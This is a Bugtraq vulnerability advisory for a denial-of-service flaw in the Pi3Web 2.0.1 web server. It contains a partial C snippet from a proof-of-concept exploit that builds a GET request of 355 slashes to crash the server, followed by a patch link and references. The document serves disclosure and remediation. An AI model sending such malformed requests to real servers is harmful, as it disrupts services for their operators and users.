Pi3Web Malformed GET Request Denial Of Service Vulnerability

Bugtraq ID:	7555
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	May 12 2003 12:00AM
Updated:	May 12 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to at4r <[email protected]>.
Vulnerable:	Pi3 Pi3Web 2.0.1
Not Vulnerable:	Pi3 Pi3Web 2.0 Pi3 Pi3Web 1.0.3

Pi3Web Malformed GET Request Denial Of Service Vulnerability

It has been reported that Pi3Web server is prone to a denial of service vulnerability. Reportedly, when a malicious GET request is sent to the Pi3Web server the server will fail. It should be noted that the Unix version has been reported vulnerable, it is not currently known if other platforms are affected.

Pi3Web Malformed GET Request Denial Of Service Vulnerability

The following snippet has been suggested by Holger Zimmermann to replace the equivalent lines in the exploit:

int main(int argc, char **argv)
{
int i, port, sd, rc;
char buffer[356];
char packet[380];
struct sockaddr_in server;

if(argc > 3 || argc < 2)
{
printf("USAGE: %s IP PORT\n", argv[0]);
printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
exit(0);
}
if(argc == 2) port = 80;
else port = atoi(argv[2]);

//Build the malformed request
for(i = 0; i < 355; i++) buffer[i] = '/';
buffer[i] = 0;
sprintf(packet, "GET %s HTTP/1.0\n\n", buffer);

The following proof of concept exploit has been supplied:

• /data/vulnerabilities/exploits/pi3web-DoS.c

Pi3Web Malformed GET Request Denial Of Service Vulnerability

Solution:
Fixes available:


Pi3 Pi3Web 2.0.1

• Pi3 Pi3Web-x86Win32-2_0_1-pl2.zip
  Win32 Patch.
  http://sourceforge.net/tracker/download.php?group_id=17753&atid=317753 &file_id=47258&aid=718552

Pi3Web Malformed GET Request Denial Of Service Vulnerability

References:

• Pi3Web HTTP Server Homepage (Pi3)
  
• Re: Pi3Web 2.0.1 DoS (Holger Zimmermann )
  
• Unix Version of the Pi3web DoS (Angelo Rosiello )